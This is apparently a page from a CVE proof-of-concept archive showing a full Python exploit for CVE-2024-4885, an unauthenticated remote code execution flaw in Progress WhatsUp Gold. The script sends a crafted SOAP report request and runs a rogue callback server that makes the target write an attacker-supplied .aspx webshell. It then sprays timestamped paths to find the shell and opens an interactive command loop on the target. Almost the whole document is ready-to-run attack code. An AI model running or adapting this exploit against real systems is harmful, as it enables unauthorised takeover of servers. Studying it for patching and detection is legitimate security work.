4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-4885.py PY
"""
Progress WhatsUp Gold GetFileWithoutZip Unauthenticated Remote Code Execution (CVE-2024-4885)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
Technical details: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/
"""


banner = r"""
 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______
 |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  |
 ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |
                                                                                    
        (*) Progress WhatsUp Gold GetFileWithoutZip Unauthenticated Remote Code Execution (CVE-2024-4885)
        
        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
        
        (*) Technical details: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/
        
        """

""""""

from http.server import HTTPServer, SimpleHTTPRequestHandler
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse
from threading import Thread
import os
import datetime
import json
from time import sleep

print(banner)
parser = argparse.ArgumentParser(usage="python CVE-2024-4885.py --target http://192.168.0.231:9642 --callback-server http://192.168.0.181:1337")
parser.add_argument('--target', '-t', dest='target_url', help='Target URL (e.g: http://192.168.0.231:9642)', required=True)
parser.add_argument('--webshell', '-f', dest='webshell_file', help='webshell file to upload', required=True)
parser.add_argument('--callback', '-s', dest='callback_server',  help='Rogue callback server 192.168.0.181:1337', required=True)
parser.add_argument('--target-user-id', '-u', dest='target_user_id', help='user id to leak',default='1', required=False)
args = parser.parse_args()
args.target = args.target_url.rstrip('/')
start_find = False

class CustomHandler(SimpleHTTPRequestHandler):
    def do_PUT(self):
        global start_find
        self.send_response(200)
        self.send_header('Content-type', 'application/json')
        self.end_headers()
        webshell = {"webshell": open(args.webshell_file, "r").read()}
        self.wfile.write(json.dumps(webshell).encode())
        print(f"(*) Waiting 180s for the RecurringReport task to land...")
        start_find = True
        
        
    def do_GET(self) -> None:
        try:
            print("(+) Callback received")
            query_string = self.path.split("?")[1]
        except:
            print("")
        
        self.send_response(200)
        self.end_headers()    
        
        
    

def start_callback_server(ip, port):
    global server_ready
    httpd = HTTPServer((ip, port), CustomHandler)
    print(f"(*) Callback server listening on http://{ip}:{port}")
    server_ready = True
    httpd.serve_forever()
    
def find_web_shell(webshell_base_name):
    start_time = datetime.datetime.now() - datetime.timedelta(seconds=5)
    end_time = start_time + datetime.timedelta(minutes=2)

    potentials = []

    dt = start_time
    while dt <= end_time:
        potentials.append(dt.strftime("%Y-%m-%d_%H-%M-%S"))
        dt += datetime.timedelta(seconds=1)
    target_host = args.target_url.split(':')[1].replace('//', '').rstrip('/')
    try:
        print(f"(*) Checking if target is using HTTPS or HTTP " + f"https://{target_host}/NmConsole/")
        res = s.get(f"https://{target_host}/NmConsole/")
        if(res.status_code == 200):
            target_host = f"https://{target_host}"
        else:
            target_host = f"http://{target_host}"
    except:
        target_host = f"http://{target_host}"
    print(f"(*) Target host: {target_host}")
    
    for potential in potentials:
        
        possible_path = f"{target_host}/NmConsole/Data/ExportedReports/{webshell_base_name}_{potential}.aspx"

        print(f"(*) spraying... {possible_path}")
        
        try:
            response = requests.head(possible_path, timeout=10, verify=False)

            if response.status_code == 200:
                print(f"(+) Web shell found at -> {possible_path}")
                break


        except requests.RequestException as ex:
            print(f"Failed to send request for {possible_path}. Exception: {ex}")
    post_exploit(possible_path)


 

def exploit():
    random_name = os.urandom(8).hex()
    xml_response = r'''<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><TestRecurringReport xmlns="http://tempuri.org/"><rr xmlns:a="http://schemas.datacontract.org/2004/07/WUGDataAccess.RecurringReports.DataContracts" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:AlternateHost i:nil="true"/><a:Disabled>false</a:Disabled><a:EmailSettings xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts"><b:Authentication>None</b:Authentication><b:CredentialsId i:nil="true"/><b:DirectoryPath>C:\PROGRA~2\Ipswitch\WhatsUp\Data\ScheduledReports</b:DirectoryPath><b:Password/><b:Port>25</b:Port><b:SMTPServer/><b:SendFrom>[email protected]</b:SendFrom><b:SendTo i:nil="true"/><b:Subject>Emailing: Wireless Log</b:Subject><b:TimeoutSec>5</b:TimeoutSec><b:UseEncryptedConn>false</b:UseEncryptedConn><b:Username/></a:EmailSettings><a:ExportOptions><a:AuthorName>WhatsUp Gold</a:AuthorName><a:AutosizePDFPage>true</a:AutosizePDFPage><a:AvoidImageBreak>false</a:AvoidImageBreak><a:AvoidTextBreak>true</a:AvoidTextBreak><a:BrowserPageHeight>0</a:BrowserPageHeight><a:BrowserPageWidth>0</a:BrowserPageWidth><a:ConversionDelay>3</a:ConversionDelay><a:CustomPageHeight>0</a:CustomPageHeight><a:CustomPageWidth>0</a:CustomPageWidth><a:ExportAuthToken/><a:ExportType>html</a:ExportType><a:FitHeight>false</a:FitHeight><a:FitWidth>false</a:FitWidth><a:InternalLinksEnabled>false</a:InternalLinksEnabled><a:LiveURLsEnabled>false</a:LiveURLsEnabled><a:NavigationTimeout>240</a:NavigationTimeout><a:PageOrientation>Portrait</a:PageOrientation><a:PageSize>Letter</a:PageSize><a:PdfMessage>html</a:PdfMessage><a:PreviewEnabled>false</a:PreviewEnabled><a:Subject i:nil="true"/><a:TimeFormat>g:i:s a</a:TimeFormat><a:Title i:nil="true"/><a:ToMail>true</a:ToMail><a:WebExportDirectory>C:\\Program Files (x86)\\Ipswitch\\WhatsUp\\html\\NmConsole\\</a:WebExportDirectory><a:ZipEnabled>false</a:ZipEnabled></a:ExportOptions><a:IncludeURLInEmail>false</a:IncludeURLInEmail><a:Name>REPLACE_WEBSHELL_NAME</a:Name><a:NextRun i:nil="true"/><a:RecurringReportID>-1</a:RecurringReportID><a:Schedule xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts"><b:DailyDays>1</b:DailyDays><b:DailyOptions>Interval</b:DailyOptions><b:DaysOfTheWeek xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean></b:DaysOfTheWeek><b:MonthlyDayMonths>1</b:MonthlyDayMonths><b:MonthlyDayNumber>3</b:MonthlyDayNumber><b:MonthlyOptions>DayOfMonth</b:MonthlyOptions><b:MonthlyRecur>First</b:MonthlyRecur><b:MonthlyRecurDay>Sunday</b:MonthlyRecurDay><b:MonthlyRecurMonths>1</b:MonthlyRecurMonths><b:RecurringInterval>1</b:RecurringInterval><b:RecurringTimeIntervals>Minutes</b:RecurringTimeIntervals><b:ScheduleType>TimeInterval</b:ScheduleType><b:StartTime>2024-07-05T16:59:14.047957+01:00</b:StartTime><b:TimeIntervalStartDate>2024-07-05T16:59:14.047957+01:00</b:TimeIntervalStartDate><b:WeeklyWeeks>1</b:WeeklyWeeks><b:YearlyDayOfMonth>3</b:YearlyDayOfMonth><b:YearlyMonthRecur>First</b:YearlyMonthRecur><b:YearlyMonthRecurDay>Sunday</b:YearlyMonthRecurDay><b:YearlyMonths>March</b:YearlyMonths><b:YearlyOptions>DayOfYear</b:YearlyOptions><b:YearlyRecurMonth>March</b:YearlyRecurMonth></a:Schedule><a:URL>{"title":"foo","renderType":"aspx","reports":[{"title":"thetitle","url":"/NmConsole/api/Wireless/ReportWirelessLog","dateRangeFilter":{"label":"Date Range","n":0,"range":"Today","text":"Today"},"severityFilter":{"label":"Severity","value":-1,"text":"ALL"},"limit":50,"grid":{"emptyText":"[ No records found ]","columns":[{"dataIndex":"Date","text":"Date","flex":1},{"dataIndex":"Severity","text":"Severity","flex":1},{"dataIndex":"Message","text":"Message","flex":1}],"filters":[],"sorters":[]}}],"baseUrl":"http://REPLACE_CALLBACK","userId":REPLACE_USER_ID}</a:URL><a:WebUserID>1</a:WebUserID><a:WebUserName>admin</a:WebUserName></rr></TestRecurringReport></s:Body></s:Envelope>'''.replace("REPLACE_WEBSHELL_NAME", random_name).replace("REPLACE_CALLBACK", args.callback_server).replace("REPLACE_USER_ID", args.target_user_id)
    headers = {
        "Content-Type": "text/xml; charset=utf-8",
        "SOAPAction": "http://tempuri.org/IRecurringReportServices/TestRecurringReport"
    }
    print(f"(+) Sending payload to {args.target_url}/NmConsole/ReportService.asmx")
    r = s.post(f"{args.target}/NmAPI/RecurringReport", headers=headers, data=xml_response)
    if(r.status_code != 200):
        print(f"(-) Failed to send payload: {r.text}")
        exit(1)
    print(f"(+) Payload sent successfully")
    return random_name


def post_exploit(shell_path):
    while True:
        cmd = input("Shell> ")
        
        r =s.get(f"{shell_path}", params={"hax":cmd}, verify=False)
        print(r.text)
s = requests.Session()
s.verify = False
print("\n(^_^) Prepare for the Pwnage (^_^)\n")
callback_server_thread = Thread(target=start_callback_server, args=(args.callback_server.split(":")[0], int(args.callback_server.split(":")[1]),))
callback_server_thread.setDaemon(False)
callback_server_thread.start()


webshell_base_name = exploit()
find_web_shell_thread = Thread(target=find_web_shell, args=(webshell_base_name,))
find_web_shell_thread.setDaemon(False)
find_web_shell_thread.start()